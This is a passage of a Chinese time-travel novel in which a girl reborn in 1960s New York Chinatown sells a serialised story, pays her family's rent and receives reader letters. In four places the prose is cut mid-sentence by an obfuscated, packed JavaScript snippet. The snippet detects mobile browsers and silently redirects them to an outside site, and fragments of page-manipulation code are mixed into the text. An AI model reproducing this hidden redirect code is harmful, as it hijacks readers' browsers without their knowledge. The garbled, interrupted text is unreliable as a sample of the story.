不等杨乐怡回答，陈阿莲便说：“算了，后面的故事，等你写完再读给我听好了。” “好。” 杨乐怡收拢文稿，陈阿莲却在这几秒钟的时间里，由阿珍想到了自己，迟疑问道：“乐怡，这个故事的结局……你想好了吗？” 杨乐怡抬头，对上母亲忐忑的目光，点头说：“想好了。” 陈阿莲上身往前倾，带着几分期待问：“可以告诉我，结局是好的吗？” 杨乐怡面露犹豫。 她认为，台山人将美国称作“金元王国”，认为这里遍地是黄金，只要能来到美国，就能过上更好的生活，和“美国梦”异曲同工。 这是她决定写这个故事的重要原因之一。 她知道，不仅是战争时期的国人，很长一段时间里，国内的人都把美国，乃至众多西方国家看做天堂。 在八、九十年代，一直流传着“外国的月亮比较圆”的说法。 所以那一代的人，很多把出国、移民，当做人生目标。仿佛只要出了国，他们就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349236|199574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能过上更好的生活。 但现实真的如此吗？ 不可否认，有些人出国后凭借自己的努力，过上了比在国内更好的生活。但也有很多人，在国内是知识分子，但出国后他们只能从事体力工作。 他们的生活真的有变好吗？也许他们本人会说有，但这话是否真心，见仁见智了。 杨乐怡来自信息大爆炸的网络时代，她早已对“美国梦”祛魅，所以在这个故事的设计上，她的想法和主流文学不谋而合。 这个故事，与其说是讲述美国梦，不如说是讲述美国梦是如何破裂的。 她将前半段写得这么温馨积极，更多是为了与后半段现实残酷作对比，所以故事的结局，依然是阿光的葬礼。 但杨乐怡不打算写看不到希望的悲剧，所以在她的计划里，葬礼结束阿珍枯坐一夜后，看到了太阳升起。 她还想到，也许可以致敬《飘》，用“明天又是新的一天”，来给全文画上句号。 可此时此刻，对上陈阿莲含着期待的目光，杨乐怡没法把这话说出口。 她知道陈阿莲为什么问这个问题。 现实中陈阿莲失去了丈夫和儿子，失去了买下属于自己房子的机会，所以她希望以自己为原型的阿珍，能在故事里得到圆满。 在杨乐怡的沉默中，陈阿莲渐渐明白了什么。 她没有皱眉，也没有表现出难过，只哦了声说：“故事还没有写完，你现在告诉我结局是不是不太好？算了，我不问……” 陈阿莲话没说完，便被杨乐怡打断：“是好结局。” 这话说得冲动，但话音落下后，杨乐怡并不觉得懊悔。 虽然前世丧的时候，她也会因为自己写的是网络快餐文学，而焦虑自己天分不够。但大多数情况下，她对自己的生活已经很满足。 网络写手千千万，可能靠写作养活自己，甚至买房买车的少之又少。 她已经是最幸运的那一拨，想要更多，就太贪心了。 重生以后杨乐怡的想法没变，她没有太大野望，也不是非要写严肃文学。悲剧固然隽永，可最终呈现出来的故事能让人会心一笑也是好的。 虽然她穿来不过一个月，和陈阿莲相处时间不长，但她能看出陈阿莲是真心疼爱两个女儿，也一直在努力撑起这个摇摇欲坠的家。 杨乐怡做不到立刻转换身份，把陈阿莲当成亲妈看待，但她是尊敬，也是心疼陈阿莲的。 如果改个结局能让陈阿莲高兴，杨乐怡想她是愿意的。 毕竟，陈阿莲才是阿珍的原型。 望着陈阿莲藏着惊讶的眼睛，杨乐怡微笑着说：“虽然经历过一些挫折，如失业，疾病，但他们熬了过来，如愿开了自己的餐厅，并买下了心仪的房子，故事的最后，他们一家人幸福地生活在了一起。” 明明杨乐怡描述的是幸福结局，陈阿莲却听得眼中泪光闪动，她呢喃着点头：“真好，真好……” “妈。” 呢喃中的陈阿莲回过神，看向大女儿。 杨乐怡坐在灯光下，眉眼看起来比白日里更柔和，但望着她，陈阿莲陡然惊觉，在她因为经济压力心力交瘁的这段时间里，乐怡好像成熟了许多。 杨乐怡不知道陈阿莲内心的想法，说道：“我今天去投稿，编辑夸我写得很好，把我的稿子留了下来。” “是吗？”陈阿莲愣了下，看向杨乐怡手边的文稿。 “这是在初稿基础上的修改版，投给文化社的是誊抄后的版本。” 陈阿莲恍然：“这样啊。” “编辑说会把我的稿件推给主编，后天告诉我结果，如果能过稿，这篇小说写完，我差不多能拿到两百稿费，能付近四个月的房租。” 陈阿莲还没有回过神，只呐呐回应：“哦……” “只要能拿到稿费，我们就能一直住在这里，不用搬去更狭窄，也更危险的房子居住。”杨乐怡抬头，直视着陈阿莲的眼睛说，“所以，你不要太难过，也不要太担心，我们一家人，迟早能像故事里的阿珍一家那样熬过去，过上更好的生活。” 明白杨乐怡的意思，陈阿莲再也忍不住，捂住嘴巴，失声痛哭。 5. 第一笔稿费 杨乐怡本来不打算报华文学校开设的短期课程，因为这时候华文班教授的内容，对她来说过于简单了。 而华文学校的课程都是收费的，虽然费用很低，比如这个暑假开的短期课程，堂费是五美元。 对普通家庭来说，五块钱不算多，但对杨家这样连房租都要出不起的家庭而言，这笔钱并不少，是她们家一星期的伙食费。 何况杨家要上华文学校的是两个人，加起来就是十美元。 但陈阿莲是很典型的华人家长思想，再穷不能穷教育。而她虽然在纽约生活了十来年，可心里始终惦记着祖国，不愿意两个孩子长大后连华文都不会说。 因为这份固执，她坚决不同意杨乐怡缺课。 当时杨乐怡刚穿来，情况都没摸清楚，不好直接说她国语很溜，不需要上国文课，便稀里糊涂地让陈阿莲给自己报了名。 适应唐人街的生活后，虽然杨乐怡偶尔会心痛那五美元堂费，但大多数情况下，她觉得这钱交得其实不亏。 虽然在课上她学不到什么东西，但这个场合很适合她展露语言天赋。 近一个月下来，华文学校的老师已经对她突然开窍这件事深信不疑，她也找老师们要过几次书单，并去且林士果图书馆借阅书籍。 且林士果图书馆又叫查塔姆广场图书馆，前者是粤语音译，流传于纽约华人之间。 这家图书馆位于唐人街的核心地带，早在十九世纪初就有中文书籍，到如今，华文学校的学生要查资料，都习惯来这里。 虽然华文学校的老师因为她要书单太过频繁，会怀疑她到底有没有看完那些书，但在简单考核确认她真的看过后，他们对她的印象已经从开窍，变成了很有天分。 有华文学校的老师作证，杨乐怡想，就算她写小说的事传开，估计也不会再有人怀疑她的华文水平。 从这个角度来说，这五美元堂费花得值。 当然，这一切的前提是她能过稿。 周六是华文学校上课的日子，平时这个时间，杨乐怡会拿来看书或者写小说，但今天她有点心神不宁。 虽然前天晚上和陈阿莲说得很笃定，仿佛过稿是板上钉钉的事。昨天她又去旧书摊，过了一遍《华侨文阵》近一年发行的杂志，觉得过稿问题不大。 但真到了这时候，她依然忍不住紧张。 一时想华文班这五美元堂费不该交，一时想自己是不是太莽了，虽然她不擅长写短篇，但憋一憋，也不是憋不出来。 如果是写短篇，她早就能去投稿，到现在兴许已经拿到稿费。 可现在……过稿自然皆大欢喜，万一没过稿，这半个月就浪费了。 已经是七月下旬，离房东定下的最后期限没有多少时间，拿不到长篇稿费，她要去哪里筹欠的房租？ “啪！” 杨乐怡合上书，深吸一口气，在心里问自己。 现在只是开始，你都这么沉不住气，以后往更难过稿的杂志投稿要怎么办？ 很神奇的，问完这个问题，杨乐怡一下子就冷静了。 两节课结束，中间休息时间，有同学对杨乐怡说：“琳达，有人找你。” 琳达是杨乐怡的英文名，但杨乐怡不太喜欢，倒不是这名字有什么不好的含义，而是在六十年代的美国，Linda和她穿越前的“子涵”没差别。 但改成什么名字，杨乐怡没有想好，于是只能继续听别人这么称呼她。 按照同学说的走出教室，拐个弯到楼梯口，杨乐怡就看到了站在两三级台阶下面的阿兴，打招呼说：“你好。” 阿兴转头看到杨乐怡，身体也连忙转过来，说道：“你直接叫我阿兴就好。” “阿兴哥。” 阿兴脸上笑容更灿烂，腿一跨站到杨乐怡面前，说：“今天主编过来了，鸿哥让我喊你过去一趟，你学校这边……” 杨乐怡立刻说：“我找老师请假。” 请假对杨乐怡来说并不困难，学校里的老师都知道，这个暑假杨乐怡的华文进步神速，华文班的课程对她来说已经落后。 所以她上课看自己的书，老师发现了也不会管。 她去请假，老师只简单问了句有什么事，并嘱咐她注意安全。 跟着阿兴来到华侨文化社，里面比前两天她来时要热闹些，员工多了个主编，投稿的则坐满了长椅。 郑鸿在忙着审稿，但他挺重视杨乐怡，很快放下手里的稿件，跟她打了声招呼，然后起身去了里面主编室。 很快，郑鸿让杨乐怡去主编室，说主编要跟她面谈。 华侨文化社的主编叫吴文轩，是个四十多岁的中年人，他也戴眼镜，是小小的，圆圆的那种，和杨乐怡记忆里的民国文人常戴的类似。 但除了眼镜老式了些，吴文轩在其他方面还是挺新潮的，也讲究，大热天穿着一整套西装，这在唐人街很少见。 他看起来并不严肃，声音很温和，但又不是拿杨乐怡当孩子哄，直接说起自己对《阿珍的故事》的看法。 和郑鸿一样，吴文轩也很喜欢这个故事，并已经确定刊登这部作品。 不过他想确认杨乐怡能否保证更新，虽然《华侨文阵》是月刊，但如果这三万字她写了一年半载，杂志也可能会开天窗。 “这三万字我写了半个月，这是我第一次写作，”杨乐怡厚着脸皮说，“开头写得慢一点，但最近我状态不错，如果保持这样的状态，预计八月中就能写完这本小说。” 吴文轩又问她第一次写小说，能把控后续的故事发展吗？ 杨乐怡便说她有大纲，已经想好了结局，可以保证后续。 吴文轩顺势问起后续。 虽然《华侨文阵》发行量不大，但吴文轩当了数年主编，眼力是有的。他看出这个故事不是纯喜剧，做好了后面开虐的准备。 所以当杨乐怡说是圆满结局时，他反而怔愣了：“圆满结局？这么写你这篇小说就……”俗了。 吴文轩没把话说出口，但杨乐怡听懂了，说：“这世上写故事的人很多，有能写到读者泪流满面的，也有能让人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349237|199574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住思考人生的，自然也会有像我这样，写的故事仅能让看完的人会心一笑。” 杨乐怡说完，没片刻又补充说：“如果看完这篇故事的人能觉得开心，我已经很满足。” 杨乐怡的话不长，但听的过程中，吴文轩的表情很丰富。 有惊讶，有疑惑，也有叹服。 他没想到，杨乐怡小小年纪，看问题就这么透彻，人也这么通透。 吴文轩没有像郑鸿那样怀疑过，故事是不是杨乐怡写的，但那主要是因为他认识杨志明，。 杨志明去世时他去吊唁过，当时他对杨乐怡的印象，只是个哭泣不止的小姑娘，看不出什么特别。 所以在确认故事作者是杨乐怡后，他有些难以相信，哪怕理智上知道这个故事和杨志明的经历有点像，可感情上难以将两个形象联系起来。 直到现在，看着面前镇定表达观点的小姑娘，两个形象才彻底重合。 吴文轩说：“你这样出息，你父亲在地下也能安息了。” 杨乐怡一愣：“你认识我爸爸？” 吴文轩不怎么意外杨乐怡不认识他，要是认识，进来后她看他不会跟陌生人一样，怎么都会喊声“叔叔”套近乎。 他心平气和地解释说：“我是你父亲生前工作的餐厅常客，你父亲去世，我去吊唁过。” “这样，”杨乐怡恍然，“当时人多，我没太注意。” 这话是真的，原身父亲去世后，她一直浑浑噩噩，所以杨乐怡虽然有原身记忆，但那段时间发生的事很模糊。 吴文轩并不惊讶，点了点头便结束闲谈，说道：“我们杂志不会强求作者改结局，但十万字太长，这毕竟是你的第一篇作品，虽然你说有大纲，可能不能照着大纲写完是未知数。” “吴叔叔你的意思是？”杨乐怡改了称呼。 吴文轩笑了声，却不反感，只觉得她聪明，继续说道：“所以就算我现在给你过稿，也不能确定一定会登完这个故事，如果后面的内容急转直下，这部作品会被腰斩掉。但如果后面的内容能保持前三万字的水平，并且刊登后反响不错，也可以提高千字。” “如果我同意你的条件，稿费能给到千字多少？” 吴文轩闻言笑容更真切，他看出来，杨乐怡对自己是真有信心。 杨乐怡确实有信心，虽然这辈子她是第一次写作，但前世她连载过十来部作品。而作为一名靠订阅吃饭的作者，如何避免高开低走是必修课。 她也知道，作为一名新人，她去任何一家报纸杂志社投稿，编辑都不会只看个开头，就定下整本稿费。 何况吴文轩还许诺，后续可以根据反响提高稿费，这算是特殊照顾了。 见杨乐怡是个明白人，吴文轩心里也高兴，说道：“你是新人，开始千字不会高，目前给到的是千字两块半，如果你同意，今天可以支七十五块给你。” 杨乐怡的预期是千字两美元，自然答应得痛快：“可以。” 不多时，杨乐怡揣着新鲜到手的七十五美元离开。 6. 加餐 华文学校下课也早，之前的周六，下课后杨乐怡总会直奔茂比利街。 唐人街没有封闭式的大型菜市场，但茂比利街一带的联排楼底层开了很多商铺式财产，售卖新鲜蔬菜、鸡鸭鱼肉，有些店铺还卖干货和各种调料。[1] 因为经济拮据，杨乐怡穿来后没怎么买过鸡鸭猪肉，通常只买青菜，时不时加块豆腐，很偶尔的时候，才会买一两磅杂鱼。 买回来的杂鱼也不会直接烧，更多时候等着陈阿莲回来腌成咸鱼，时不时炒上那么一小碟咸鱼碎。 但今天放学后，杨乐怡先回了趟家。 她将刚拿到的稿费分成两部分，七十美元塞进被褥下面藏着，五美揣进口袋，带着妹妹去茂比利街买菜。 和平时一样，杨乐怡先挑青菜。 这个时期纽约本地的蔬菜种类不算丰富，可再少也有得选。 豆腐则不同，因为含有蛋白质，它被认为是“好东西”，所以不富裕的人家，常常会用豆腐填补肉类的空缺。 穿越后杨乐怡隔三差五吃豆腐，现在想到它都有点难受。 如今赚了稿费，她想可以犒劳一下自己，今天不吃豆腐，她要吃鱼吃肉。 挑好青菜，杨乐怡去卖水产的店铺，花九十美分买了条三磅左右的鳕鱼，准备煎着吃。 杨宝怡刚满九岁，却已经知道生活的艰辛，虽然馋鱼肉，但在姐姐挑鱼时咽着口水问：“姐姐，我们今天吃了鱼，明天还能吃上饭吗？” “能。” 杨乐怡弯腰凑到妹妹耳边，压低声音道，“姐姐赚了钱，我们以后可以经常吃鱼吃肉。” 杨宝怡眼睛一亮。 杨乐怡直起身，问，“你想吃什么鱼？” 杨宝怡伸手一点，就选了鳕鱼。 买了青菜和肉，姐妹俩应该调头回去，但经过一家捎带着卖烧腊的档口时，正有一阵风吹过。 风带着烧腊的香味飘进姐妹俩的鼻腔，让她们再也走不动道。 烧腊价格不便宜，像这种主营生鲜的档口，烧腊价格已经是最低一档，但一只烧鸡也要也要一点五到一点八美元，而整鸡重量在两点五到三磅之间。 烧鸭价格更贵，同样的重量，一只至少要卖三美元。 就算是杨志明在世时，杨家也很少吃烧腊，通常是月末发工资，或者有人过生日，他才会带一只回来。 有时候想想，他们为了买房，这样省吃俭用实在不值得。 因为一场疾病来临，攒再多钱都成了空。 这个想法冒出来，杨乐怡心里就有了决定，她拉着妹妹走进档口，让老板切了一磅烤鸡打包带走。 …… “怎么……” 打开饭盒，看到里面铺着的鳕鱼块和码得整齐的白切鸡，陈阿莲疑惑抬头。 杨乐怡没有卖关子，说道：“我过稿了。” 陈阿莲还记得这件事，只是担心结果不如预期，见到女儿才没有直接开口问。这会得知过稿，脸上露出欣喜的表情：“真的？” “真的，”杨乐怡肯定地说，“没有过稿，我哪有钱买烤鸡。” 虽然最近一个多月，杨乐怡表现得很靠谱，但陈阿莲没有心大到把家里所有的钱都交给她管的程度。 她每天早上出门前，会在客厅的斗柜里放几个硬币，让杨乐怡有钱买菜。 经过女儿提醒，她想起来，自己留下的钱确实不够买海鲜和烤鸡，便信了女儿的话，脸上喜悦更浓，眼睛甚至有些湿润：“真好，真好……” 虽然这会她们站在洗衣店的后门，巷子前后没有人，但隔墙有耳，杨乐怡没说拿了多少稿费，只说晚上再细聊，让陈阿莲放宽心就回去了。 晚上陈阿莲回来，杨乐怡拿出压在被褥底下的七十美元说：“主编说我写得好，定了千字两块半，我交了三万字，拿到了七十五块。” “这么多！” 虽然前天晚上杨乐怡提起这事时，说过写完这篇小说能拿到两百美元稿费，但陈阿莲心里其实不太敢信。 她觉得能有一百，啊不，五十美元，就很厉害了。 却没想到杨乐怡才交了三万字的稿子，就拿到了七十五美元。 杨乐怡说：“这只是开始，主编说如果《阿珍的故事》刊登后反响好，就给我提千字。但就算不提也没关系，只要不腰斩，我就能拿到两百五十美元。” “你已经很棒了。”陈阿莲喜极而泣。 杨乐怡抽出五十五美元交给陈阿莲：“这五十五块，妈你拿去交工资，这几天我会抓紧写，月底之前，我会再交最少三万字的稿子给文化社。加上妈你的工资，我们可以把这个月和下个月的房租交了。” 陈阿莲边听边点头：“嗯嗯。” “剩下的钱，我想存下来，大头攒着备用，再拿出一部分钱改善生活。” 杨乐怡不打算瞒着陈阿莲自己挣了多少钱，因为她看出了陈阿莲不是那种会将儿女存款据为己有，甚至把未成年的孩子当成赚钱工具的母亲。 当然，更大的原因可能是她现在赚的少。 如果以后能赚到更多钱，几万，甚至几十万美元，她的想法可能会有所改变。 就像她虽然愿意告诉陈阿莲自己赚了多少，也愿意把钱拿出来补贴家用，却不想把所有收入都交给陈阿莲。 陈阿莲果然没有对杨乐怡的计划提出异议，这是女儿挣的钱，应该由女儿来支配。 她也没有推辞那五十五美元，因为她确实需要这笔钱。 陈阿莲接过钱，看着杨乐怡，有些怅然，又有些欣慰地说：“乐怡，你长大了。” 杨乐怡沉默。 原身确实长大了，但长大后的她身形消瘦，脸色苍白，看着痛苦又木然，明显过得不太好。 她几乎是逃避般将身体交给了，来自二十一世纪的灵魂杨怡。 杨怡以为，自己会穿越到七八十年代，过穷困潦倒，甚至可能要与酒瘾、药瘾作斗争的生活。 谁想睁开眼，她成了十二岁的杨乐怡。 可能因为穿到了年少的杨乐怡身上，她没有原身少年乃至青年时期的记忆，也不知道原身后来为什么会变成那样。 但不得不说，她是庆幸的。 虽然这个时期的杨家经济已经很紧张，但至少这句身体很年轻，看起来也还算健康，她不必真从泥沼里往上爬。 …… 次日是周日，陈阿莲休息。 母女三人起得比平时要晚，但早饭吃得比平时更丰盛，难得去外面买了豆花和油条。 在杨乐怡穿越前，油条算不得什么稀罕食物，虽然早餐市场的油条快被预制攻占，但想吃现炸的油条，只要愿意花时间去找，总能吃到。 她没馋过这东西。 可现在，她快被手里的油条香哭了，一口咬下去，焦酥的油条表面在她口腔“咔嚓”作响，暄软的内里裹着油香在口腔里晕染开。 杨乐怡忍不住感慨：“真好吃。” “真好吃！”杨宝怡发出同样的感叹。 然后姐妹俩对视一眼，纷纷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349238|199574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑开。 陈阿莲看在眼里，脸上笑意更温柔，心里又有些歉疚，是她做得不够好，才会让两个女儿跟着吃苦。 发现陈阿莲情绪低落下去，杨乐怡边吃边开口：“妈。” “嗯？” “我们明天吃肠粉好不好？我想吃猪肉肠。” 吃得脸颊鼓起的杨宝怡闻言，连忙跟着附和：“我也想吃肠粉。” 陈阿莲顾不上难过，笑着说：“好，明天我们吃肠粉。” 吃过早饭，陈阿莲便去隔壁敲响了房东家的门。 虽然兰姐下的最后通牒是月底，但杨乐怡认为这钱早交早好，兰姐给了便利，她们总要展现出诚意。 而且拖到月底，要是兰姐以为她们没钱续租，提前找了新的住户，到时候她们搬不搬也是问题。 开门看到陈阿莲，兰姐有些惊讶，等知道她是来交租的，更惊讶了：“你找朋友借了钱？” 问这话时，兰姐心里谈不上高兴，甚至有些担忧。 陈阿莲和杨志明结婚后才来到纽约，在唐人街没什么亲人，虽然这时候华人挺团结，没有老乡坑老乡的说法。 可谁家的钱都不是大风刮来的，大家都把钱看得很紧。 如果陈阿莲的工资再高些，或者杨乐怡的年纪再大一些，马上就能进工厂上班，一时遇到困难，大家可能会帮。 但杨家这情况，今天借了钱，不知何年何月才能还上，愿意搭把手的真不错，救急不救穷嘛。 她担心，陈阿莲借的这笔钱有利息。 也许没到高利贷的程度，但利息肯定不会太低，还款期限也不会太长…… 兰姐心思一动：“你打算让乐怡毕业就出来打工？” 陈阿莲先是一愣，回过神来迅速否认：“没有的事。” “那你哪来的钱？你家这情况，一般人不会随便借钱给你。”兰姐想劝陈阿莲不要犯糊涂，就算乐怡毕业不准备继续读书，中间还有一年。 她借到钱付了上个月的房租，可这个月，下个月，下下个月呢？ 她们总不能一直这么借钱过日子，真这样，孩子迟早要走弯路。 不如早点换个租金便宜的房子，也许没那么安全，但小心一点，日子总能过下去。比这样债滚债，滚到再也还不起要好。 陈阿莲知道兰姐是好心，不觉得她这话难听，解释说：“乐怡写了篇小说，投稿中了，这是稿费。” “稿费？” 兰姐愣住，她日子过得虽然不错，但文化程度并不高，平时报纸都不看，稿费这种东西在她的认知外。 却也不是完全不懂，听完陈阿莲的解释，她感慨说道：“你生了个好女儿。” 陈阿莲骄傲地说：“是，有乐怡是我的福气。” 感慨归感慨，兰姐没有忘记最要紧的：“这是上个月的房租，这个月的呢？到月底你能交上来吗？下个月初又要交房租了。” “能，乐怡写的是长篇，月底还能得一笔稿费，到时候我把两个月的房租一起送过来。” 兰姐放心了，又问杨乐怡投的是哪家报纸杂志，什么时候刊登出来。 这次陈阿莲回答得没那么痛快，虽然她没有那么害怕身边人发现，女儿写的小说原型是她，甚至这两天想起来还有点兴奋。 可她还记得杨乐怡的话，闷声才能发大财，她们可以告诉别人有这个收入来源，以免有人乱揣测嚼舌根，但宣扬得人尽皆知就没什么必要了。 陈阿莲含糊说不是什么大报纸，就找借口离开了。 7. 杂志上市 月刊指的是按月发行，但不代表发行时间要卡在月初第一天，像《华侨文阵》，通常是二十五号左右发行上市。 当然，定稿要更早一些，二十号之前就要确定下来。 《华侨文阵》定稿和上市时间卡这么紧，主要是因为发行量小，创刊又早，和印刷所的合作早已稳定。 每月印刷时间固定，只要那天之前，华侨文化社能把排班校对完成的定稿送到，杂志就不会开天窗。 比较起来，发型量大的报纸杂志，为了有充足的容错时间，定稿反而要更早一些。 还有新成立的报纸杂志，如果没有强大的后台，也要预留更多时间，否则万一印刷所那边有状况，杂志很容易开天窗。 杨乐怡是月中投稿，所以不出意外，《阿珍的故事》能上本月的新刊。 意外当然不会发生，吴文轩和郑鸿都很喜欢这个故事，他们也想早点看到这个故事被刊登出来。 杨乐怡也乐见其成，五六天时间，不一定够《华侨文阵》在全国的华人社区铺开，但足够在纽约本地华人社区铺开销售，甚至看到效果。 如果反响好，也许月底她再交稿，就能跟吴文轩提涨千字。 当然，杨乐怡也做好了这个故事反应平平的准备，但杂志连载和网络小说不一样，很难看到单篇文章的数据。 所以只要她能稳住，后面剧情写得不拉跨，哪怕《阿珍的故事》没有火，她也不必太担心小说被腰斩。 而只要这个故事能连载到大结局，她就能拿到两百五十美元。 杨乐怡心情很放松，再加上故事写到中段，她已经差不多适应，不必再绞尽脑汁让自己的文笔看着更白。 有时候惯性写了成语，只要不是太复杂，她也不会再修改。 人是会进步的，她不过是进步神速了些，但应该能搪塞过去。 到杂志上市前一天，杨乐怡手上已经有了四万字的存稿，即将进入收尾阶段。 虽然结局调整后，故事后半段比原计划要温馨许多，但杨乐怡回头去看，才发现写出来的内容并非只有温情。 甚至看完后，她心里还有点难过。 这让杨乐怡纠结要不要修改掉相关内容，再加上有点心神不宁，这天她没怎么写稿，一直在琢磨该怎么平衡剧情。 晚上她以为自己会睡不着，但现实是闭上眼后，她再睁开眼已经是次日天明。 这段时间，杨乐怡母女三个没少在外面吃早饭，姐妹俩没那么馋好吃的，早上陈阿莲又煮了粥。 不过她往里面加了点干的虾米，这粥喝起来是另一种风味。 吃过饭，杨乐怡和妹妹一起去外面报摊，找新发行的《华侨文阵》。 曼哈顿唐人街是《华侨文阵》的大本营——虽然这个时期数得上名号的华文，以及华人组织办的英文报刊，报社十有八九在这里。 但《华侨文阵》能发行这么多年，创始人总有点人脉。 姐妹俩不但在报摊上看到了《华侨文阵》，它的位置还很显眼，与发行量最大的华文日报摆在一起。 《阿珍的故事》和梦里客这个笔名，也被印在了杂志封面上。 这时候用本名发表文章的人很多，但杨乐怡不太习惯这么做，想到“梦里不知身是客”，就取了这个笔名。 除了这些，吴文轩还写了一句短介绍，好在是夸文章，所以吹捧力度虽然大，但杨乐怡不算尴尬。 这时候新上市的书没有塑封，翻开就能看。 但报摊不是书店，看的时间长了老板会有意见，杨乐怡只简单翻了下，便问：“阿伯，这本杂志今天卖得怎么样？” “就这样咯，一早上卖出去两本，和平时差不多。”报摊老板说，“你要啊？三毛五一本。” 三十五美分一本，价格实在不算便宜，一般的华文日报，五六美分就能买到，厚一些的最多也就十美分。 如果是杂志，价格通常在二十五美分左右，特别厚的才会卖到三十五。 《华侨文阵》不算特厚刊，卖这个价格实在不便宜。 但文艺刊基本都是这个价，而这也是华文文艺刊发行量通常不高的主要原因。 像《华侨文阵》这样能稳定发行三千份的文艺刊，已经算是比较火的，虽然发行上市首日的清早，在这个报摊它只卖出了两本。 杨乐怡从口袋里摸出三十五美分，递给老板说：“我要一本。” …… 人很奇怪，昨天一想到刊登了自己作品的《华侨文阵》马上要上市，杨乐怡就心神不宁写不出东西。 可真到了这一天，得知杂志销量惨淡，杨乐怡的状态却很不错。 回去后手速爆发，写了近五千字。 没继续写，不是因为她状态不行，而是手酸得厉害。 这时候美国华人用的是繁体字，所以她写小说也只能用繁体字，一个字平白多了好几划，写起来实在是累。 她还容易错乱，写着写着就变成了简体。 所以写完了，她还要再过一遍，把写成简体的修改成繁体，并誊抄到信纸上。 接下来几天，杨乐怡每天都会去一趟报摊，看看《华侨文阵》还在不在C位，顺便问一下报摊老板卖得如何。 其实不用问，杨乐怡也知道卖得不错。 报摊上的报纸杂志摆放都是有讲究的，C位上的通常是新出且销量好的报纸杂志，越往旁边，上市时间越长，销量也越差。 如果是日报，通常隔天就会被压在下面，周刊、越看在外面展示的时间也不会长，卖得好的摆一周，卖得不好的过两天就要压箱底。 这还是因为唐人街里的住户更倾向于华文报刊，而美国的华文报刊并不多，如果是英文报纸，竞争会更激烈，每种报刊的展示时间会更短。 《华侨文阵》在文艺刊中算卖得不错的，但如果范围扩大到所有的华文杂志，就有点不够看了。 也就月底上市的刊物少，所以新刊发行第一天，她能出现在C位，但以它平时的销量，不出意外第二天就会被挪到旁边的位置。 新上的这一期《华侨文阵》就是如此。 说不用问杨乐怡也知道卖得好，是因为到第三天，《华侨文阵》没有往旁边挪，而到了第四天，它再次回到了报摊C ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349239|199574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位。 …… 隔天去文化社送稿子，里面比她上次来要热闹许多。 倒不是来投稿的作者变多了，文化社办了这么多年，名气在这里，美国本地文人大多知道。今日杂志稿费标准也没有变化，投稿的作者不太可能因为一期杂志卖得好就暴增。 椅子上是有几个人排队，但没有比上次她周六来时更多。 郑鸿还是坐在办公桌前看稿子，阿兴却不像先前那样无所事事，站在空的那两张办公桌前，分类堆成几座山的稿件。 主编室的电话也响个不停，站在外间都能听出从里面传出的，吴文轩声音里的亢奋。 杨乐怡正观察着，阿兴抬起了头，看到是她咧嘴笑道：“阿怡，来来来，这些都是读者寄给你的信。” 听到这话，椅子上坐着的几人纷纷抬头，见“阿怡”不过是个小姑娘，表情都有点不敢信。 郑鸿也从稿件中抬起了头，笑道：“过来了。” 杨乐怡应声，走到阿兴身边，去看他划拉过的两堆信：“这么多信，都是给我的？” “都是给你的。”阿兴说，“这一堆是前两天收到的，基本都是本地读者寄过来的，这些是从旧金山、洛杉矶寄来的，今天才收到，还没分完，这堆里面还有不少。” 前世杨乐怡连载小说时，并不是没有收到过读者反馈，但那已经是网络时代，读者可以直接在章节下面发评。 就算是通过实体书认识杨乐怡的读者，想要发表读后感，也会摸到她写小说的网站去，并不会往出版社寄信。 读者信……活了两辈子，杨乐怡这是第一次收到。 说实话，感觉挺奇妙的。 虽然唐人街建筑后期后期加装的，纯装饰性的宝塔式或歇山顶屋檐，带琉璃瓦饰或龙凤浮雕的立面，都让唐人街多了几分复古的东方韵味。 但这个时期的美国已经实现现代化，家家户户有电灯，有淋浴，用煤气。就连房子，从里面看也和杨乐怡印象里的筒子楼差不多。 所以身处其中，杨乐怡市场会有种时空错乱感。 尤其是坐在书桌前写作时，她突然会想，自己真的穿越了吗？真的是在六十年代的大洋彼岸吗？ 不过这些错乱的时刻很短暂，当她看到笔记本上端端正正的繁体字，就知道了答案。 